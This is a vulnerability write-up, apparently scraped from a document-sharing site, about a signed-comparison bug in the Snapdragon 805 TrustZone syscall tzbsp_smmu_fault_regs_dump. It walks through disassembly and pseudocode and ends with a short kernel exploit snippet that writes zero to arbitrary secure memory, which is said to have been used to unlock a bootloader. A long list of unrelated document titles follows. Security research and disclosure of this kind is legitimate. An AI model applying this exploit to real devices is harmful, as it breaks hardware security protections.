TRUSTNONE. This document assumes the reader has a working knowledge of the Android/Linux kernel and the TrustZone APIs provided.
|
|
|
- Nora Fowler
- 9 years ago
- Views:
Transcription
1 Signed comparison on unsigned user input leading to arbitrary read/write capabilities of secure memory/registers in the APQ8084/Snapdragon 805 TrustZone kernel Discovered and documented by Sean Beaupre (beaups) Affected products This vulnerability appears to affect all APQ8084/Snapdragon 805 devices running all publicly seen versions of the TrustZone kernel. Some popular affected devices are the Motorola Droid Turbo/MAXX, Motorola Nexus 6, and the Samsung Galaxy Note 4. This vulnerability was successfully exploited to unlock the Motorola Droid Turbo s bootloader. Background/Scope TrustZone is an ARM feature, allowing a secure world kernel to run alongside the normal world kernel. Communication with the TrustZone kernel is facilitated via the SMC instruction, allowing the normal world to utilize syscalls that are exported by the TrustZone kernel. An API is provided in the Android/Linux kernel. The on-chip and off-chip memory regions containing the TrustZone kernel are protected by hardware memory protection units; Qualcomm brands these as XPUs. The XPUs are configured by early bootloaders to only allow specific execution environments to access specific memory locations. For instance, if the Android (APPS) execution environment attempts to read or write the memory that is configured in an XPU for the TrustZone kernel, the CPU will abort and, depending on configuration, reboot the device due to an XPU violation. This document assumes the reader has a working knowledge of the Android/Linux kernel and the TrustZone APIs provided. Bad behaving syscalls Qualcomm s TrustZone kernel has seen its fair share of vulnerabilities. More often than not, these vulnerabilities are related to syscalls not properly validating input from the non-secure caller. TrustZone operates with physical memory addressing. Syscalls that result in reading or writing memory need to ensure that the physical addresses passed from the non-secure caller do not target secure memory locations. If the non-secure caller is able to bypass these checks, or exploit an error in these checks, the caller can affect secure memory and ultimately the execution of the TrustZone kernel. Saturday, November 28,
2 The bug Our bad behaving syscall is tzbsp_smmu_fault_regs_dump. If this function sounds familiar, its probably because another bug was recently found in this function see As interesting as that bug was, it was also equally useless. This bug is not. Let s dive in: Fig. 1 In figure 1 above, you can see IDA s representation of this function. Note that function names, such as is_debugging_device are my own interpretation, as TrustZone source code is not available. This syscall expects four arguments, as can be deduced by the register PUSH and also through a quick glance at the syscall table. Ultimately we need to end up reaching do_regs_dump. The first branch is simple, we need to call in with ARG2!= 0. Then we reach is_debugging_disabled. Without researching this fully, I can simply state that retail devices should return 1 and the execution flow should end up here: Saturday, November 28,
3 Fig. 2 Here you can see that R1 and R0 are restored to there original values. At this point, we have: R0 = ARG0 R1 = ARG1 R2 = ARG2 R3 = ARG3 Next, do_regs_dump is called: Fig. 3 R0 and R1 are backed up to R4 and R5 respectively, then validate_input is called. Saturday, November 28,
4 Fig. 4 I think it s safe to say that the function names I assigned in figure 4 don t represent the programmer s intentions. Fig. 5 do_sloppy_signed_comparison in figure 5 compares ARG0/R0 with (int) 7. If ARG0 >= 7, this function should return 0, which will result in the syscall failing. However, as any researcher will quickly notice, the THUMB BGE instruction is a signed comparison. This means that not only any value in the range of 0-6 will return our needed value of 1, but also values passed in the range of 0x and 0xFFFFFFFF. Saturday, November 28,
5 Fig. 6 The next function called from validate_input is validate_something_else. This validation is interesting, and the pseudocode might look something like this: R0 = ARG0; R1 = ARG1; R0 = R0 * 0x11; uint *R2 = (uint *)0xFE8282CC; /*this is in a data segment in the TrustZone kernel*/ R2 = *R2; /*in the TrustZone image I m testing with, this value = 0xFE827B58*/ R0 = 4 + (R0 * 0x10); R0 = *(R0 + R2); if (R0 < R1) return 0; /*fail we need to return 1, thus R0 needs to be > R1*/ R0 when entering this function = ARG0 from the syscall. Remember, R0/ARG0 was tested in do_sloppy_signed_comparison to ensure the value is between 0 and 6, but inadvertently will also allow values between 0x and 0xFFFFFFFF. In validate_something_else you can see that R0 is intended to be used to calculate some offset in some structure in secure memory beginning at 0xFE8282CC. So what happens if R0 contained a value like 0x ? R0 = ARG0 = 0x ; R1 = ARG1; R0 = R0 * 0x11; /*R0 now equals 0x */ R2 = 0xFE8282CC; /*this is in a data segment in the TrustZone kernel*/ R2 = *(uint *)R2; /*in the TrustZone image I m testing with, this value = 0xFE827B58*/ R0 = 4 + (R0 * 0x10); /*R0 now equals 0x */ R0 = *(R0 + R2); /*R0 now is loaded with with the data contained at physical address 0x xFE827B58= 0x0F938BDC << This memory location is NOT secure, we can control it!*/ if (R0 < R1) return 0; /*fail we need to return 1, thus R0 needs to be > R1*/ Saturday, November 28,
6 Fig. 7 After a successful return from validate_input, very similar calculations are performed again: R4 = ARG0 = 0x ; R0 = *((uint *)0xFE8282CC); /*0xFE827B58 on my test device*/ R1 = ARG0 * 0x11; /*R0 now equals 0x */ R0 = R0 + (R1 * 0x10); /*R0 now equals 0x0F938BD8; << we can control memory location 0x0F938BD8, it is not secure*/ R0 = *(uint *)R0; /*R0 now equals whatever was contained at physical memory address 0x0F938BD8*/ Next, the function branches to write_some_stuff: Finally, we ve reached the endgame: Fig. 8 R0 = *(uint *)0x0F938DB8; R1 = ARG1 = 0; /*(things are easier to call with ARG1 = 0)*/ R2 = 0; /*result of a MOVS R2, #0 earlier*/ R0 = R0 + 0x8000; *(R0+0x5C) = 0; Effectively, TrustZone will write a 0 to *((uint *)0x0F938DB8) + 0x805C. We control the data at 0x0F938DB8. Game over. Saturday, November 28,
7 The Exploit Your exploit code might look something like this: uint target = PHYSICAL_MEMORY_TARGET_YOU_WANT_ZERO_WRITTEN_TO; uint *bad_pointer1 = ioremap(0x0f938bd8, 4); /*ioremap probably isn t the correct way to get a pointer to an arbitrary physical address, but whatever, it works */ uint *bad_pointer2 = ioremap(0x0f938bdc, 4); writel((target 0x805c), bad_pointer1); way*/ writel(0x1, bad_pointer2); asm volatile("mcr p15, 0, %0, c7, c1, 0": : "r" (0)); flush!*/ /*also probably not the correct /*it s inconsiderate to forget to SCM4(DO_SMMU_REGS_FAULT_DUMP, 0x , 0, 1, 1); Note that targeting TrustZone code segments will result result in a TrustZone/device crash, unless the OEM lazily mapped TrustZone code segments RWX (I m looking at you HTC). It is left to the reader to figure out where to go from here; as mentioned earlier this vulnerability was successfully used to unlock the Motorola Droid Turbo s bootloader. Saturday, November 28,
Exploiting Trustzone on Android
1 Introduction Exploiting Trustzone on Android Di Shen(@returnsme) [email protected] This paper tells a real story about exploiting TrustZone step by step. I target an implementation of Trusted Execution
An Introduction to the ARM 7 Architecture
An Introduction to the ARM 7 Architecture Trevor Martin CEng, MIEE Technical Director This article gives an overview of the ARM 7 architecture and a description of its major features for a developer new
CSE597a - Cell Phone OS Security. Cellphone Hardware. William Enck Prof. Patrick McDaniel
CSE597a - Cell Phone OS Security Cellphone Hardware William Enck Prof. Patrick McDaniel CSE597a - Cellular Phone Operating Systems Security - Spring 2009 - Instructors McDaniel and Enck 1 2 Embedded Systems
Sierraware Overview. Simply Secure
Sierraware Overview Simply Secure Sierraware Software Suite SierraTEE/Micro Kernel TrustZone/GlobalPlatform TEE SierraVisor: Bare Metal Hypervisor Hypervisor for ARM Para-virtualization, TrustZone Virtualization,
Windows XP SP3 Registry Handling Buffer Overflow
Windows XP SP3 Registry Handling Buffer Overflow by Matthew j00ru Jurczyk and Gynvael Coldwind Hispasec 1. Basic Information Name Windows XP SP3 Registry Handling Buffer Overflow Class Design Error Impact
Trepn plug-in for Eclipse FAQ
Trepn plug-in for Eclipse FAQ Introduction and Technical Problem Q: What is Trepn plug-in for Eclipse? A: The Trepn plug-in for Eclipse is a power profiling tool created by Qualcomm Technologies Inc. for
How MFLC Counselors Encrypt their Verizon Motorola Razr or Sprint/AT&T Samsung Galaxy S II. Smartphone
How MFLC Counselors Encrypt their Verizon Motorola Razr or Sprint/AT&T Samsung Galaxy S II Smartphone Before you Begin the Process On the Samsung Galaxy S II you may have to set your screen unlock password
AN10866 LPC1700 secondary USB bootloader
Rev. 2 21 September 2010 Application note Document information Info Content Keywords LPC1700, Secondary USB Bootloader, ISP, IAP Abstract This application note describes how to add a custom secondary USB
CSE543 - Introduction to Computer and Network Security. Module: Operating System Security
CSE543 - Introduction to Computer and Network Security Module: Operating System Security Professor Trent Jaeger 1 OS Security So, you have built an operating system that enables user-space processes to
COS 318: Operating Systems
COS 318: Operating Systems OS Structures and System Calls Andy Bavier Computer Science Department Princeton University http://www.cs.princeton.edu/courses/archive/fall10/cos318/ Outline Protection mechanisms
Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc WwW.Abysssec.Com
Format string exploitation on windows Using Immunity Debugger / Python By Abysssec Inc WwW.Abysssec.Com For real beneficiary this post you should have few assembly knowledge and you should know about classic
In-Depth Look at Capabilities: Samsung KNOX and Android for Work
In-Depth Look at Capabilities: Samsung KNOX and Android for Work Silent Install Using the Samsung KNOX Workspace Mobile Device Management (MDM) APIs, IT admins can install and enable applications automatically.
How to write a design document
How to write a design document Øystein Dale [email protected] February 23, 2015 First off Writing a design document is something new for most of you. Before: Read mandatory assignment/exam description,
CS161: Operating Systems
CS161: Operating Systems Matt Welsh [email protected] Lecture 2: OS Structure and System Calls February 6, 2007 1 Lecture Overview Protection Boundaries and Privilege Levels What makes the kernel different
A Choices Hypervisor on the ARM architecture
A Choices Hypervisor on the ARM architecture Rishi Bhardwaj, Phillip Reames, Russell Greenspan Vijay Srinivas Nori, Ercan Ucan ABSTRACT Choices is an object oriented operating system that runs on the x86
Mobile App Containers: Product Or Feature?
ANALYST BRIEF Mobile App Containers: Product Or Feature? APPLE AND SAMSUNG HAVE TAKEN BIG STEPS WITH CONTAINERIZATION Author Andrew Braunberg Overview Secure workspaces, or containers, used for isolating
Android vs ios Throwdown. Cheryl Sedota Peter Schnabel
Android vs ios Throwdown Cheryl Sedota Peter Schnabel Charleston Digital Corridor 1.17.2014 What is Android? Android is a free, open source mobile operating system based on Linux It is ready-made, lightweight
x64 Servers: Do you want 64 or 32 bit apps with that server?
TMurgent Technologies x64 Servers: Do you want 64 or 32 bit apps with that server? White Paper by Tim Mangan TMurgent Technologies February, 2006 Introduction New servers based on what is generally called
1. Give the 16 bit signed (twos complement) representation of the following decimal numbers, and convert to hexadecimal:
Exercises 1 - number representations Questions 1. Give the 16 bit signed (twos complement) representation of the following decimal numbers, and convert to hexadecimal: (a) 3012 (b) - 435 2. For each of
Linux Driver Devices. Why, When, Which, How?
Bertrand Mermet Sylvain Ract Linux Driver Devices. Why, When, Which, How? Since its creation in the early 1990 s Linux has been installed on millions of computers or embedded systems. These systems may
Chapter 7D The Java Virtual Machine
This sub chapter discusses another architecture, that of the JVM (Java Virtual Machine). In general, a VM (Virtual Machine) is a hypothetical machine (implemented in either hardware or software) that directly
SWIPING THROUGH MODERN SECURITY FEATURES
SWIPING THROUGH MODERN SECURITY FEATURES HITB Amsterdam, April 11th, 2013 REACHING THE KERNEL Run unsigned code outside the sandbox Get around ASLR Take control of the kernel REACHING THE KERNEL Run unsigned
MPLAB TM C30 Managed PSV Pointers. Beta support included with MPLAB C30 V3.00
MPLAB TM C30 Managed PSV Pointers Beta support included with MPLAB C30 V3.00 Contents 1 Overview 2 1.1 Why Beta?.............................. 2 1.2 Other Sources of Reference..................... 2 2
HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011
MWR InfoSecurity Advisory HTC Windows Phone 7 Arbitrary Read/Write of Kernel Memory 10/11/2011 Package Name Date 10/11/2011 Affected Versions HTC Windows Phone 7 Phones HTC HD7 confirmed to be vulnerable.
Lab 4.4 Secret Messages: Indexing, Arrays, and Iteration
Lab 4.4 Secret Messages: Indexing, Arrays, and Iteration This JavaScript lab (the last of the series) focuses on indexing, arrays, and iteration, but it also provides another context for practicing with
PREVENTING ZERO-DAY ATTACKS IN MOBILE DEVICES
PREVENTING ZERO-DAY ATTACKS IN MOBILE DEVICES Ira Winkler Codenomicon Session ID: MBS-W05 Session Classification: Intermediate Zero Day Attacks Zero day attacks are rising in prominence They tend to be
Hardware accelerated Virtualization in the ARM Cortex Processors
Hardware accelerated Virtualization in the ARM Cortex Processors John Goodacre Director, Program Management ARM Processor Division ARM Ltd. Cambridge UK 2nd November 2010 Sponsored by: & & New Capabilities
Operating System Manual. Realtime Communication System for netx. Kernel API Function Reference. www.hilscher.com.
Operating System Manual Realtime Communication System for netx Kernel API Function Reference Language: English www.hilscher.com rcx - Kernel API Function Reference 2 Copyright Information Copyright 2005-2007
Bypassing Browser Memory Protections in Windows Vista
Bypassing Browser Memory Protections in Windows Vista Mark Dowd & Alexander Sotirov [email protected] [email protected] Setting back browser security by 10 years Part I: Introduction Thesis Introduction
Why should I back up my certificate? How do I create a backup copy of my certificate?
Why should I back up my certificate? You should always keep a backup copy of your ACES Business Certificate on a location external to your computer. Since it s stored locally on your computer, in the Windows
Operating Systems. 05. Threads. Paul Krzyzanowski. Rutgers University. Spring 2015
Operating Systems 05. Threads Paul Krzyzanowski Rutgers University Spring 2015 February 9, 2015 2014-2015 Paul Krzyzanowski 1 Thread of execution Single sequence of instructions Pointed to by the program
How to enroll Android devices in SoMobile. Content Introduction... 1 Prerequisites... 1 Enrollment... 2
How to enroll Android devices in SoMobile Content Introduction... 1 Prerequisites... 1 Enrollment... 2 Introduction This document provides a detailed step-by-step to enroll your Android device in the SoMobile
An Introduction to Assembly Programming with the ARM 32-bit Processor Family
An Introduction to Assembly Programming with the ARM 32-bit Processor Family G. Agosta Politecnico di Milano December 3, 2011 Contents 1 Introduction 1 1.1 Prerequisites............................. 2
How Safe does my Code Need to be? Shawn A. Prestridge, Senior Field Applications Engineer
How Safe does my Code Need to be? Shawn A. Prestridge, Senior Field Applications Engineer Agendum What the benefits of Functional Safety are What the most popular safety certifications are Why you should
CHAPTER 18 Programming Your App to Make Decisions: Conditional Blocks
CHAPTER 18 Programming Your App to Make Decisions: Conditional Blocks Figure 18-1. Computers, even small ones like the phone in your pocket, are good at performing millions of operations in a single second.
More MIPS: Recursion. Computer Science 104 Lecture 9
More MIPS: Recursion Computer Science 104 Lecture 9 Admin Homework Homework 1: graded. 50% As, 27% Bs Homework 2: Due Wed Midterm 1 This Wed 1 page of notes 2 Last time What did we do last time? 3 Last
Bypassing Memory Protections: The Future of Exploitation
Bypassing Memory Protections: The Future of Exploitation Alexander Sotirov [email protected] About me Exploit development since 1999 Research into reliable exploitation techniques: Heap Feng Shui in JavaScript
Detecting the Presence of Virtual Machines Using the Local Data Table
Detecting the Presence of Virtual Machines Using the Local Data Table Abstract Danny Quist {[email protected]} Val Smith {[email protected]} Offensive Computing http://www.offensivecomputing.net/
Using Microsoft Visual Studio 2010. API Reference
2010 API Reference Published: 2014-02-19 SWD-20140219103929387 Contents 1... 4 Key features of the Visual Studio plug-in... 4 Get started...5 Request a vendor account... 5 Get code signing and debug token
Mobile Operating Systems & Security
Mobile Operating Systems & Security How can I protect myself? Operating Systems Android Apple Microsoft What do they do? operate smartphones, tablets, watches and other mobile devices includes touchscreens
Pattern Insight Clone Detection
Pattern Insight Clone Detection TM The fastest, most effective way to discover all similar code segments What is Clone Detection? Pattern Insight Clone Detection is a powerful pattern discovery technology
Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail
Hacking Techniques & Intrusion Detection Ali Al-Shemery arabnix [at] gmail All materials is licensed under a Creative Commons Share Alike license http://creativecommonsorg/licenses/by-sa/30/ # whoami Ali
The Linux Kernel: Process Management. CS591 (Spring 2001)
The Linux Kernel: Process Management Process Descriptors The kernel maintains info about each process in a process descriptor, of type task_struct. See include/linux/sched.h Each process descriptor contains
Software Vulnerabilities
Software Vulnerabilities -- stack overflow Code based security Code based security discusses typical vulnerabilities made by programmers that can be exploited by miscreants Implementing safe software in
Department of Electrical Engineering and Computer Science MASSACHUSETTS INSTITUTE OF TECHNOLOGY. 6.828 Operating System Engineering: Fall 2005
Department of Electrical Engineering and Computer Science MASSACHUSETTS INSTITUTE OF TECHNOLOGY 6.828 Operating System Engineering: Fall 2005 Quiz II Solutions Average 84, median 83, standard deviation
Example of Standard API
16 Example of Standard API System Call Implementation Typically, a number associated with each system call System call interface maintains a table indexed according to these numbers The system call interface
Dongwoo Kim : Hyeon-jeong Lee s Husband
2/ 32 Who we are Dongwoo Kim : Hyeon-jeong Lee s Husband Ph.D. Candidate at Chungnam National University in South Korea Majoring in Computer Communications & Security Interested in mobile hacking, digital
Hotpatching and the Rise of Third-Party Patches
Hotpatching and the Rise of Third-Party Patches Alexander Sotirov [email protected] BlackHat USA 2006 Overview In the next one hour, we will cover: Third-party security patches _ recent developments
How to design and implement firmware for embedded systems
How to design and implement firmware for embedded systems Last changes: 17.06.2010 Author: Rico Möckel The very beginning: What should I avoid when implementing firmware for embedded systems? Writing code
MIPS Assembly Code Layout
Learning MIPS & SPIM MIPS assembly is a low-level programming language The best way to learn any programming language is to write code We will get you started by going through a few example programs and
Windows Phone 7 Internals and Exploitability
Windows Phone 7 Internals and Exploitability (abridged white paper) Tsukasa Oi Research Engineer 目 次 1. Abstract... 3 2. Introduction: Windows Phone 7 and Analysis... 3 3. Security Analysis Windows Phone
AT&T Global Network Client for Android. Version History
AT&T Global Network Client for Android Version History Version 4.0.1 June 27, 2016 Upgrade to OpenSSL 1.0.2h Address connectivity issues with attwifi hotspots on some devices Bug Fix: Prevent crash when
Adobe Connect Support Guidelines
THINK TANK Online Services Adobe Connect Support Guidelines Page 1 Contents Introduction... 4 What is Adobe Connect?... 4 Adobe Connect Usage Quick Guide... 4 Items Required for Accessing Think Tank Online
CSI 402 Lecture 13 (Unix Process Related System Calls) 13 1 / 17
CSI 402 Lecture 13 (Unix Process Related System Calls) 13 1 / 17 System Calls for Processes Ref: Process: Chapter 5 of [HGS]. A program in execution. Several processes are executed concurrently by the
Dawsonera v5 Online Reader User Guide (June 2015) Table of Contents
Dawsonera v5 Online Reader User Guide (June 2015) Table of Contents Accessing the table of contents... 2 Searching within the ebook... 2 Notes... 2 How to add a note... 2 How to edit a note... 3 How to
USB Card Reader Configuration Utility. User Manual. Draft!
USB Card Reader Configuration Utility User Manual Draft! SB Research 2009 The Configuration Utility for USB card reader family: Concept: To allow for field programming of the USB card readers a configuration
Virtualization in the ARMv7 Architecture Lecture for the Embedded Systems Course CSD, University of Crete (May 20, 2014)
Virtualization in the ARMv7 Architecture Lecture for the Embedded Systems Course CSD, University of Crete (May 20, 2014) ManolisMarazakis ([email protected]) Institute of Computer Science (ICS) Foundation
THE WINDOWS AZURE PROGRAMMING MODEL
THE WINDOWS AZURE PROGRAMMING MODEL DAVID CHAPPELL OCTOBER 2010 SPONSORED BY MICROSOFT CORPORATION CONTENTS Why Create a New Programming Model?... 3 The Three Rules of the Windows Azure Programming Model...
Lab 4: Socket Programming: netcat part
Lab 4: Socket Programming: netcat part Overview The goal of this lab is to familiarize yourself with application level programming with sockets, specifically stream or TCP sockets, by implementing a client/server
Will Dormann: Sure. Fuzz testing is a way of testing an application in a way that you want to actually break the program.
The Power of Fuzz Testing to Reduce Security Vulnerabilities Transcript Part 1: Why Fuzz Testing? Julia Allen: Welcome to CERT's podcast series: Security for Business Leaders. The CERT program is part
CORE SECURITY. Exploiting Adobe Flash Player in the era of Control Flow Guard. Francisco Falcon (@fdfalcon) Black Hat Europe 2015 November 12-13, 2015
CORE SECURITY Exploiting Adobe Flash Player in the era of Control Flow Guard Francisco Falcon (@fdfalcon) Black Hat Europe 2015 November 12-13, 2015 About me 2 About me Exploit Writer for Core Security.
GPU Hardware Performance. Fall 2015
Fall 2015 Atomic operations performs read-modify-write operations on shared or global memory no interference with other threads for 32-bit and 64-bit integers (c. c. 1.2), float addition (c. c. 2.0) using
Introduction to Gear VR Development in Unity APPENDIX A: SETUP (MAC OS X)
Introduction to Gear VR Development in Unity APPENDIX A: SETUP (MAC OS X) 3-hour Workshop Version 2015.07.13 Contact us at [email protected] Presented by Samsung Developer Connection and MSCA Engineering
Mobile application testing is a process by which application software developed for hand held mobile devices is tested for its functionality,
Mobile Testing Mobile application testing is a process by which application software developed for hand held mobile devices is tested for its functionality, usability and consistency. A mobile application
Advanced ANDROID & ios Hands-on Exploitation
Advanced ANDROID & ios Hands-on Exploitation By Attify Trainers Aditya Gupta Prerequisite The participants are expected to have a basic knowledge of Mobile Operating Systems. Knowledge of programming languages
Keil C51 Cross Compiler
Keil C51 Cross Compiler ANSI C Compiler Generates fast compact code for the 8051 and it s derivatives Advantages of C over Assembler Do not need to know the microcontroller instruction set Register allocation
Not agree with bug 3, precision actually was. 8,5 not set in the code. Not agree with bug 3, precision actually was
Task 1 Task 2 Task 3 Feedback Presence SUM Matrikkel Rühm [5] [1] [2] [1] [1] [10] Feedback to students A64129 1. rühm 0 0 No submission found A72068 1. rühm 5 1 2 1 1 For Bug 3. Actually the variable
sys socketcall: Network systems calls on Linux
sys socketcall: Network systems calls on Linux Daniel Noé April 9, 2008 The method used by Linux for system calls is explored in detail in Understanding the Linux Kernel. However, the book does not adequately
Figure 1: Graphical example of a mergesort 1.
CSE 30321 Computer Architecture I Fall 2011 Lab 02: Procedure Calls in MIPS Assembly Programming and Performance Total Points: 100 points due to its complexity, this lab will weight more heavily in your
Operating System Structure
Operating System Structure Lecture 3 Disclaimer: some slides are adopted from the book authors slides with permission Recap Computer architecture CPU, memory, disk, I/O devices Memory hierarchy Architectural
umps software development
Laboratorio di Sistemi Operativi Anno Accademico 2006-2007 Software Development with umps Part 2 Mauro Morsiani Software development with umps architecture: Assembly language development is cumbersome:
MapReduce. MapReduce and SQL Injections. CS 3200 Final Lecture. Introduction. MapReduce. Programming Model. Example
MapReduce MapReduce and SQL Injections CS 3200 Final Lecture Jeffrey Dean and Sanjay Ghemawat. MapReduce: Simplified Data Processing on Large Clusters. OSDI'04: Sixth Symposium on Operating System Design
Dynamic VM Monitoring using Hypervisor Probes
Dynamic VM Monitoring using Hypervisor Probes Z. J. Estrada, C. Pham, F. Deng, L. Yan, Z. Kalbarczyk, R. K. Iyer European Dependable Computing Conference 2015-09-09 1 Dynamic VM Monitoring Goal On-demand
Boolean Expressions, Conditions, Loops, and Enumerations. Precedence Rules (from highest to lowest priority)
Boolean Expressions, Conditions, Loops, and Enumerations Relational Operators == // true if two values are equivalent!= // true if two values are not equivalent < // true if left value is less than the
Lessons Learned in Software Testing
Lessons Learned in Software Testing An excellent book covering a range of testing topics Practical rather than academic In the next few lectures, we ll discuss some of the key lessons from this book, and
Dirty use of USSD codes in cellular networks
.. Dirty use of USSD codes in cellular networks Ravishankar Borgaonkar Security in Telecommunications, Technische Universität Berlin TelcoSecDay, Heidelberg, 12th March 2013 Agenda USSD codes and services
UNIT 4 Software Development Flow
DESIGN OF SYSTEM ON CHIP UNIT 4 Software Development Flow Interrupts OFFICIAL MASTER IN ADVANCED ELECTRONIC SYSTEMS. INTELLIGENT SYSTEMS Outline Introduction Interrupts in Cortex-A9 Processor Interrupt
Introduction to Android
Introduction to Android Poll How many have an Android phone? How many have downloaded & installed the Android SDK? How many have developed an Android application? How many have deployed an Android application
Introduction to Gear VR Development in Unity APPENDIX A: SETUP (WINDOWS 7/8)
Introduction to Gear VR Development in Unity APPENDIX A: SETUP (WINDOWS 7/8) 3-hour Workshop Version 2015.07.13 Contact us at [email protected] Presented by Samsung Developer Connection and MSCA Engineering
